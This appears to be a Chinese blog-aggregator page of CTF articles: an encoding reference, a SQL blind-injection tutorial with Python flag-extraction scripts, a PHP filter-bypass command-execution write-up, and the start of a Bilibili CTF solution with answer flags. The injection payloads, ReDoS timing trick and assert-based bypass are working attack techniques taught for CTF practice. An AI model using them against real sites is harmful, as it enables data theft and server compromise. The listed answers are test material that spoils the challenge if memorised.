首页 文章 精选 留言 我的

精选列表

搜索[ctf],共113篇文章
优秀的个人博客,低调大师

CTF中常见的加解密(经典)

ASCII编码 ASCII 码使用指定的7 位或8 位二进制数组合来表示128 或256 种可能的字符。标准ASCII 码也叫基础ASCII码,使用7 位二进制数(剩下的1位二进制为0)来表示所有的大写和小写字母,数字0 到9、标点符号, 以及在美式英语中使用的特殊控制字符。 其中: 0~31及127(共33个)是控制字符或通信专用字符(其余为可显示字符),如控制符:LF(换行)、CR(回车)、FF(换页)、DEL(删除)、BS(退格)、BEL(响铃)等;通信专用字符:SOH(文头)、EOT(文尾)、ACK(确认)等;ASCII值为8、9、10 和13 分别转换为退格、制表、换行和回车字符。它们并没有特定的图形显示,但会依不同的应用程序,而对文本显示有不同的影响。 32~126(共95个)是字符(32是空格),其中48~57为0到9十个阿拉伯数字。 65~90为26个大写英文字母,97~122号为26个小写英文字母,其余为一些标点符号、运算符号等。 同时还要注意,在标准ASCII中,其最高位(b7)用作奇偶校验位。所谓奇偶校验,是指在代码传送过程中用来检验是否出现错误的一种方法,一般分奇校验和偶校验两种。 奇校验规定:正确的代码一个字节中1的个数必须是奇数,若非奇数,则在最高位b7添1;偶校验规定:正确的代码一个字节中1的个数必须是偶数,若非偶数,则在最高位b7添1。 后128个称为扩展ASCII码。许多基于x86的系统都支持使用扩展(或“高”)ASCII。扩展ASCII 码允许将每个字符的第8 位用于确定附加的128 个特殊符号字符、外来语字母和图形符号。 编码示例: 明文:hello ascii 十六进制:0x680x650x6c0x6c0x6f 0x610x730x630x690x69 十进制:104101108108111 9711599105105 二进制:1100101101001111 11010001010001 在线加解密:http://www.ab126.com/goju/1711.html XXencode编码 编码示例: 明文:Be slow to promise and quick to perform. 编码后:cEaIUQqljRm-oPm-kQaxhOLBZ643iN0-lRKZXOm-oPm-kNL7aPr7h9U++ UUencode编码 编码实例: 明文:Be slow to promise and quick to perform. 编码后:H0F4@小于VQO=R!T;R!P小于F]M:7-E(&%N9”!Q=6EC:R!T;R!P97)F;W)M+@“ aaencode编码 编码示例: 明文:alert(“Hello, JavaScript”) 编码后: ゚ω゚ノ= /`m´)ノ ~┻━┻ //´∇`/ [‘‘]; o=(゚ー゚) ==3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^^o)/ (o^^o);(゚Д゚)={゚Θ゚: ‘’ ,゚ω゚ノ : ((゚ω゚ノ==3) +’‘) [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ ‘‘)[o^^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +’‘)[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +’‘) [c^^o];(゚Д゚) [‘c’] = ((゚Д゚)+’‘) [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) [‘o’] = ((゚Д゚)+’‘) [゚Θ゚];(゚o゚)=(゚Д゚) [‘c’]+(゚Д゚) [‘o’]+(゚ω゚ノ +’‘)[゚Θ゚]+ ((゚ω゚ノ==3) +’‘) [゚ー゚] + ((゚Д゚) +’‘) [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +’‘) [゚Θ゚]+((゚ー゚==3) +’‘) [(゚ー゚) - (゚Θ゚)]+(゚Д゚) [‘c’]+((゚Д゚)+’‘) [(゚ー゚)+(゚ー゚)]+ (゚Д゚) [‘o’]+((゚ー゚==3) +’‘) [゚Θ゚];(゚Д゚) [‘‘] =(o^^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +’‘) [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+’‘) [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +’‘) [o^^o -゚Θ゚]+((゚ー゚==3) +’‘) [゚Θ゚]+ (゚ω゚ノ +’‘) [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]=’\’; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +’‘)[c^^o];(゚Д゚) [゚o゚]=’\”’;(゚Д゚) [‘‘] ( (゚Д゚) [‘‘] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^^o) +(o^^o))+ ((o^^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^^o) +(o^^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^^o) +(o^^o))+ ((o^^o) +(o^^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^^o) - (゚Θ゚))+ (o^^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^^o) +(o^^o))+ ((o^^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^^o) +(o^^o))+ (c^^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^^o) +(o^^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) (‘_’); url编码 url编码 编码示例: 明文:睡觉 编码后:%e7%9d%a1%e8%a7%89 jjencode编码 编码示例: 明文:alert(“Hello, JavaScript” ) 编码后: $=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$._$+",\\"+$.$__+$.___+"\\"+$.__$+$.__$+$._$_+$.$_$_+"\\"+$.__$+$.$$_+$.$$_+$.$_$_+"\\"+$.__$+$._$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\\"\\"+$.$__+$.___+")"+"\"")())(); Unicode编码 编码示例: 明文:hello 四种编码方式: &#x [Hex]:&#x0068;&#x0065;&#x006C;&#x006C;&#x006F; &# [Decimal]:&#00104;&#00101;&#00108;&#00108;&#00111; \U [Hex]:\U0068\U0065\U006C\U006C\U006F \U+ [Hex]:\U+0068\U+0065\U+006C\U+006C\U+006F Escape/Unescape Escape/Unescape加密解码/编码解码,又叫%u编码,采用UTF-16BE模式, Escape编码/加密,就是字符对应UTF-16 16进制表示方式前面加%u。Unescape解码/解密,就是去掉”%u”后,将16进制字符还原后,由utf-16转码到自己目标字符。如:字符“中”,UTF-16BE是:“6d93”,因此Escape是“%u6d93”。 编码示例: 明文:睡觉 编码后:%u7761%u89c9 敲击码 敲击码表: 1 2 3 4 5 1 A B C/K D E 2 F G H I J 3 L M N O P 4 Q R S T U 5 V W X Y Z 摩尔斯电码 摩尔斯电码表: A .- N -. . .-.-.- + .-.-. 1 .—- B -… O — , –..– _ ..–.- 2 ..— C -.-. P .–. : —… $ …-..- 3 …– D -.. Q –.- ” .-..-. & .-… 4 ….- E . R .-. ’ .—-. / -..-. 5 ….. F ..-. S … ! -.-.– 6 -…. G –. T - ? ..–.. 7 –… H …. U ..- @ .–.-. 8 —.. I .. V …- - -….- 9 —-. J .— W .– ; -.-.-. 0 —– K -.- X -..- ( -.–. L .-.. Y -.– ) -.–.- M – Z –.. = -…- JSfuck JSFuck 可以让你只用 6 个字符 ! +来编写 JavaScript 程序。 编码示例: 明文:alert(1) 编码后: [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])() 在线编码 brainfuck Brainfuck是一种极小化的计算机语言,按照”Turing complete(完整图灵机)”思想设计的语言,它的主要设计思路是:用最小的概念实现一种“简单”的语言,BrainFuck 语言只有八种符号,所有的操作都由这八种符号(> < + - . , [ ])的组合来完成。 编码示例: 明文:hello 编码后:+++++ +++++ [->++ +++++ +++<] >++++ .—. +++++ ++..+ ++.<+ +++++ +++++[->++ +++++ ++++< ]>+++ ++++. <++++ +++[- >—- —<] >–.< +++++ ++[->—– –<]> —– —– .< 在线编解码:https://www.splitbrain.org/services/ook jother jother是一种运用于javascript语言中利用少量字符构造精简的匿名函数方法对于字符串进行的编码方式。其中8个少量字符包括:! + ( ) [ ] { }。只用这些字符就能完成对任意字符串的编码。 编码示例: 明文:hello 编码后: ([]+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+({}[[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]])())[+[]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]] 在线编解码:http://tmxk.org/jother/ 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。 作者: 落花四月 出处: https://www.cnblogs.com/lxz-1263030049/ 关于作者:潜心于网络安全学习。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接. 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是作者坚持原创和持续写作的最大动力!

优秀的个人博客,低调大师

两种CTF中特殊盲注的总结

前言 Blind SQL(盲注)是SQL注入攻击的其中一种。在sql注入过程中,sql语句执行后数据不会回显到前端页面,此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。 本文涉及知识点实操练习:MySQL盲注 (本实验讲解了MySQL注入中,3种盲注方式:基于布尔的盲注、基于时间的盲注、基于报错的盲注。通过学习本实验,能了解盲注原理。) SQL盲注基本知识 常用基本函数 IF(expr1,expr2,expr3) 若expr1为true,则返回expr2,为false则返回expr3 SELECT IF(TRUE, 'A','B') -- 输出结果:A SELECT IF(FALSE,'A','B') -- 输出结果:B ASCII(str) 返回字符串str最左面字符的ASCII值 SELECT ASCII("flag") -- 输出结果:102 ORD(str) 返回字符串str第一个字符的ASCII值 SELECT ORD("flag") -- 输出结果:102 CHAR(int) 将ASCII码值int转换成字符 SELECT CHAR(65) -- 输出结果:A MID(str,pos,len) 从pos位置开始,截取字符串str共len个长度的字符 SELECT MID("Hello World", 3, 5) -- 输出结果:llo W 与SUBSTR(str,pos,len) 效果相同 LEFT(str,len) 返回字符串str左边部分共len个字符 SELECT LEFT("flag", 2) -- 输出结果:fl SLEEP(duration) duration是休眠的时长,以秒为单位,也可以是小数 SELECT SLEEP(3) # [SQL] SELECT SLEEP(3) # 受影响的行: 0 # 时间: 3.005ms REGEXP 正则表达式,用来匹配文本的特殊的串(字符集合) SELECT "FLAG" REGEXP "LA" -- 输出结果:1 SELECT "FLAG" REGEXP "[0-9]" -- 输出结果:0 其它 LENGTH(str) -- 返回字符串str的长度 DATABASE() -- 返回当前数据库名 VERSION() -- 返回当前MySQL版本 布尔盲注 根据注入点的输入,页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据。 SELECT IF(LENGTH(DATABASE())>3, 1, 2) -- 输出结果:1 SELECT IF(LENGTH(DATABASE())>4, 1, 2) -- 输出结果:2 据此可知数据库名的长度为4 时间盲注 通过执行时间的长短来判断是否执行成功,也就是时间延迟注入。 SELECT IF(MID(DATABASE(),1,1)='c', SLEEP(3), 2) -- 3秒后才响应 SELECT IF(MID(DATABASE(),1,1)='a', SLEEP(3), 2) -- 立即响应 据此可知数据库名的第一个字符为c 以下2道题目:flag在flag表的flag字段 在本地搭建靶机,用post传参,变量keywords接收 基于运行错误的布尔盲注 基于运行错误的布尔盲注即能够通过sql语句的语法、语义分析,但运行时报错。 我们可以将其作为IF(expr1,expr2,expr3)的expr3,当expr1为true时,返回expr2,页面正常,而为false时,则会执行expr3,此时因为运行错误而页面无法正常显示。 ST_GeomFromText(character-string[, srid]) 是根据字符串表示构造几何的方法,即: SELECT ST_GeomFromText( 'LineString( 1 2, 5 7 )', 4326 ) -- 输出结果:[0102000020E610000002000000000000000000F03F000000000000004000000000000014400000000000001C40] ST_X(point):该方法是获取点的x坐标,它操作的对象是一个点,即: SELECT ST_X(POINT(2,3)) -- 输出结果:2 但当操作对象不是点时,运行会报错,却能够通过sql的检查,所以可以用来构造true和false两种情况下出现不同的页面 SELECT IF(1, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- 输出结果:1 SELECT IF(0, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext. P.s. ST_GeomFromText 、 ST_MPointFromText 是两个可以从文本中解析Spatial function的函数。 需要注意的是 ST_GeomFromText 针对的是 POINT() 函 数, ST_MPointFromText 针对的是 MULTIPOINT() 函数的。 其他可用的函数: SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0); SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0); SELECT IF({}, ST_X(MADS), 0); SELECT IF({}, ST_MPointFromText('MADS'),0); SELECT IF({}, ST_GeomFromText('MADS'),0); 如果题目过滤了ST,可以尝试用GeomFromText()和X(),但MySQL在5.7.6版本之后就弃用了。 Name Description X() (deprecated 5.7.6) Return X coordinate of Point GeomFromText()(deprecated 5.7.6) Return geometry from WKT 当输入1、2、3等数字时,页面返回Hello World 而当输入被过滤的关键字时,网页返回No Hacker 由此可以测试一些被过滤的关键字有: '、"、or、-、*、>、<、=、like、sleep、substr、mid、ascii、ord 然而在不被ban掉的情况下,网页只能返回一种页面,无法进行平常的数字型盲注。 而像if(0,1e9999,1),因为无法通过sql语句的检查,所以页面无法正常显示,更别说if(1,1e9999,1)了。 此时可以考虑用基于运行错误的布尔盲注,语法、语义上能够通过sql的检查,但如果执行到该语句却会运行错误,这样便能够构造true和false两种情况了。 用if来进行盲注,'被过滤了,用十六进制绕过。 if(1,1,ST_X(ST_GeomFromText('POINT(mads)')) > if(1,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)) 此时页面返回Hello World。题目说flag在flag表的flag字段,用left()截取第一个字符进行判断,=和like可以用regexp代替。 构造payload: if(left((select flag from flag),1) regexp char(102),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329))) 此时页面仍然返回Hello World,可以知道flag的第一个字符是char(102),也就是f if(left((select flag from flag),2) regexp char(102,108),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329))) 而第二个字符是char(108),也就是字符l 用python写个脚本 import requests def fun(string): result = "" j = 1 for i in string: if j != len(string): result = result + str(ord(i)) + "," else: result = result + str(ord(i)) j += 1 return "char(" + result + ")" url = "http://sqlblind.com/index.php" tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{" flag = "" for i in range(1, 50): for j in tables: if j == "{" or j == "}": j = "\\" + j payload = "if(left((select flag from flag),%s) regexp %s,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))" % ( i, fun(flag+j)) r = requests.post(url=url, data={'keywords': payload}) if "Hello World" in r.text: flag = flag + j print(flag.replace("\\", "")) break 基于巨大运算时间的时间盲注 由于在这里过滤了ST,所以以ST开头的函数会被ban,无法使用。 同时又过滤了sleep,所以无法通过时间休眠来延迟时间,也就没法用sleep来进行时间盲注。 但我们可以通过sql语句来执行一个运算时间很长很长的语句,以此来作为时间延迟,也就是说用if来判断flag的字符,如果正确则执行一个需要很长运算时间的语句,否则返回0。 所以之后用python写脚本的时候,设定一个超时时间,在设定时间内没有返回内容即字符正确,这样便能进行时间盲注了。 在此之前先了解几个函数 rpad(str,len,padstr) 对字符串str进行右填充,用padstr填充至str长度为len个字符 SELECT RPAD('hi', 5, '?') -- 输出结果:hi??? concat(str1,str2,...) 连接多个字符串为一个字符串 SELECT CONCAT('he', 'll', 'o') -- 输出结果:hello repeat(str,count) 返回字符串str重复count次后的字符串 SELECT REPEAT('ab', '3') -- 输出结果:ababab 构造payload: 1 and if((select flag from flag) regexp binary 'f',rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b'),0) 也就是说如果flag的第一个字符为f的话,则会执行下面这句语句: rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b') rpad('a',5000000,'a')会填充为5000000个a,会构造成一个很长的字符串,与字符串concat(repeat('(a.*)+',30),'b')去作正则匹配,通过巨大的运算量来延时。 这样做的话服务器可能会崩 由于题目过滤了',所以用十六进制代替 1 and if((select flag from flag) regexp binary 0x66,rpad(0x61,5000000,0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0) 以下两种图片用get传参测试时间延迟效果 猜中flag的第一个字符时: 而如果猜第一个字符为0x01,则为false,if返回0 所以我们可以通过大量的运算时间做延迟,进行时间盲注。 但服务器进程在接到客户端传送过来的SQL语句时,不会直接去数据库查询。服务器进程把这个SQL语句的字符转化为ASCII等效数字码,接着这个ASCII码被传递给一个HASH函数,并返回一个hash值,然后服务器进程将到shared pool中的library cache(高速缓存)中去查找是否存在相同的hash值。如果存在,服务器进程将使用这条语句已高速缓存在SHARED POOL的library cache中的已分析过的版本来执行,省去后续的解析工作,这便是软解析。 所以多次查询rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b')后将不再延迟,所以对rpad()的5000000需要每次自减1 脚本来自Gqleung(http://www.plasf.cn) import requests def ord2hex(string): result = "" for i in string: r = hex(ord(i)) r = r.replace('0x', '') result = result+r return '0x'+result url = "http://sqlblind.com/index.php" tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{" result = "" for i in range(1, 50): for j in tables: if j == "{" or j == "}": j = '\\'+j payload = "1 and if((select flag from flag) regexp binary %s,rpad(0x61,%d,0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0)" % ( ord2hex("^"+result+j), 5000000-i) try: r = requests.post(url=url, data={'keywords': payload}, timeout=3) except Exception as e: result = result+j print(result.replace('\\', '')) timeout:设定超时时间,秒为单位在设定时间内没有返回内容则返回一个timeout异常 若是3秒内没有返回内容则返回timeout异常,即字符正确,打印输出

优秀的个人博客,低调大师

从一道CTF题目谈PHP中的命令执行

快睡的时候,打开B站发现有位用户留言,大意就是让我帮忙看一道题,正好当时有空,于是就打开了他发的链接,代码如下 很明显是一道PHP代码审计的题目,而且只需要绕过第三行的if即可进行任意命令执行。 解决思路 看了代码之后觉得是道普通的题目,对于/a-zA-Z/这个正则表达式,我们可以利用PHP动态函数的特性,构造出字符串即可。 对于想要的字符串,我们可以通过以下三种方式来构造: 1. 异或 对于PHP中的字符串,两个字符串异或的结果是将两个字符串逐位异或,返回一个新字符串。那么我们便可以使用此特性进行构造。 例如我们需要构造phpinfo,则可以用脚本得到('0302181', '@[@[_^^')这两个字符串,脚本如下: 其中valid是可用的字符,answer是我们需要构造的字符串。那么我们得到了这个字符串,又该如何去执行呢。我们可以通过一个变量存储两字符串异或后的值,再让这个变量进行动态函数执行即可,而变量的话因为PHP的变量命名规则和C语言相同,可以使用下划线进行命名,如下: 2. 取反构造 和第一种类似,都是基于PHP字符串位运算的特点(会逐位进行位运算)。而取反构造某些情况比异或构造要方便,因为异或的情况某些字符是无法直接通过其他字符进行异或构造的,而取反却可以利用汉字或者其他特殊字符进行构造(不会有题目会限制某个汉字吧)。比如字母s我们可以通过~('和'{2})得到。而这个时候如果要用异或去构造的话,你得找到两个异或值为s的特殊字符。 取反构造的脚本和异或构造类似,在此不再给出。 3. 自增构造 在PHP中`++'a' == 'b'`这个特点是利用了PHP是弱类型语言的特性,在对变量进行操作的时候,PHP会隐式的转换其变量类型,很多代码审计的题目也是利用了这一特性。 遇到障碍 有了上面的思路后,而且也成功执行了phpinfo(),下一步是不是就可以直接构造命令执行函数去进行读取文件,当时我也是这么想的,于是我构造了passthru(), system(), shell_exec(), exec()等函数,都受到了阻碍,没有回显,通过进一步的调试之后发现是禁用了这些函数(通过在函数后面加一个打印函数观察是否执行)。 在这里我停留了很久,试过打印$GLOBALS等都没有任何有用的信息。最后通过使用glob()函数进行目录扫描,发现了flag.php文件,以及file_get_contents()进行获取,最终的payload如下 ?mess=$_="`0123"^"?`~``";${$_}[_](${$_}[__]);&_=assert&__=print_r(base64_encode(file_put_contents("flag.php"))) 最后再将其界面就可以得到最终的flag了。在最终的payload中我没有去一个一个的构造字符串异或,因为那太长了,而是构造了一个$_POST[_]($_POST[__])的动态函数,这样就可以在其他参数位置直接写函数了。 深入分析 题目到这里就结束了,其实并没有多难,首先是通过特性去构造动态函数,然后发现了命令执行被禁用之后,能够知道使用其他函数去进行获取信息就行了。但是做完这道题后,不仅引发了我的思考,PHP中的命令执行就只有这些方式了吗,肯定不是。于是,我总结了几种新的命令执行技巧供大家参考。 1. 当打印函数被禁用时 如果没有了打印函数,意味着你无法看到回显,这时候即使命令执行成功了你也无法得到信息,这个时候你就得利用其他方式去获取回显了。 首先是网上很多blog使用的方式,phpinfo如果发现开启了curl,或者其他文件传输扩展的的话,可以自建一个靶机,将所有访问信息存入数据库或是文件,然后将回显信息发送到你的靶机地址,这样你去看日志就可以了,这种方式不是很方便而且有一定的局限性。这里我要介绍的是一种新的方式。 如果你使用过Django或者jsp开发web的话,你肯定知道输出一个变量可以使用{{xxx}}或是<%=xxx%>的方式,那么在PHP中是否也有这种方式呢,答案是肯定的,PHP中的<?=xxx?>就可以将一个变量输出,那么如果使用它呢,你只需要构造如下的payload 这样就可以将变量$_里面的内容打印到屏幕上,而且关键的是这个输出方式默认是开启的,管理员很容易就忽视这个选项。所以在做题时不妨一试。 2. 其他的命令执行方式 当system,passthru等不能用时,网上会告诉你可以使用popen,proc_open这些管道命令去进行执行命令,当然这没有问题,而这里我向你介绍一种新方式,使用反引号,在PHP中,被两个反引号括起来的内容将会作为shell命令执行,并将输出信息返回,所以你可以构造下面的payload进行命令执行 3. 不能使用数字字母的命令执行 当不能使用字母数字时,当然你可以使用上述的方式构造字符串进行执行,但是这里提供一些新东西,对于linux中的shell是支持正则表达式的,当你忘记某些字符时可以通过? % *来代替,经过测试,这里的匹配方式也是按照顺序进行匹配,所以你可以查看你的linux中/bin目录下面的顺序,来获取一些可以使用的命令,比如 那么这样的话,如果要获取/var/www/html/index.php(你得感谢apache默认目录如此之深),则可以直接使用 来获取 总结 这篇文章只是针对这道题而延展出的一些东西,在真正做题时,情况可能更加复杂,例如限制长度,限制参数等等情况,而我们的做法也不可能千篇一律,可能某些时候我们甚至会用到一些CVE漏洞。而本篇文章只是告诉读者一些可能以前没有见过的新东西。那么本篇文章就到此结束了。

优秀的个人博客,低调大师

当爬虫工程师遇到 CTF丨B 站 1024 安全攻防题解

答案参考 第一题:a1cd5f84-27966146-3776f301-64031bb9 第二题:36c7a7b4-cda04af0-8db0368d-b5166480 第三题:9d3c3014-6c6267e7-086aaee5-1f18452a 第四题:3d5dd579-0678ef93-18b70cae-cabc5d51 第五题:516834cc-50e448af-bcf9ed53-9ae4328e 第六题:b13981f4-5ae996d4-bc04be5b-34662a78 第七题(部分 IP,可拿 10 分):bba.ja.cca.beg,bba.ja.ccb.cbc,bbb.bb.bjd.bgc,bbb.bb.bjd.bha,bbb.bb.bjd.bhc,bbb.bb.bjd.bhf,bfh.ff.dj.bcf,bfh.ff.dj.bd,bfh.ff.dj.fb,bfh.ff.dj.ig,bfh.ff.dj.jf,cd.baf.cae.cbc,cd.bb.cai.cbh,cdd.bcc.bg.bib,cde.ced.bbb.dd,dc.bb.ii.jj,jj.bdc.bbb.cc 最近看到哔哩哔哩上线了一个 1024 程序员节的活动,其中有一个技术对抗赛,对抗赛又分为算法与安全答题和安全攻防挑战赛,其中安全攻防挑战赛里面有 7 个题,其中有 APP 逆向和解密的题目,作为爬虫工程师,逆向分析的技能也是必须要有的,于是 K 哥就以爬虫工程师的角度,尝试做了一下其中逆向相关的两个题,发现逆向不是很难,分享一下思路给大家。 (以爬虫工程师的角度分析安全攻防的题,网安大佬勿喷!部分题目解题思路来源于网安大佬) 部分网络安全题目可参考网安大佬首发思路:https://xingye.me/?p=389 1024 程序员节活动地址:https://www.bilibili.com/blackboard/20211024.html 安全攻防挑战赛地址:https://security.bilibili.com/sec1024/ 第一题:加密解密 第一题就给了一串密文,什么提示也没有,作为爬虫工程师,K 哥熟练的打开了 F12,翻了翻源码,这里是一个 form 表单,method="post",下面还有一个 id 为 success 的 div 标签,于是初步怀疑是不是把密文解密后发送个 POST 请求,然后 flag 就会显示在这个 id 为 success 的 div 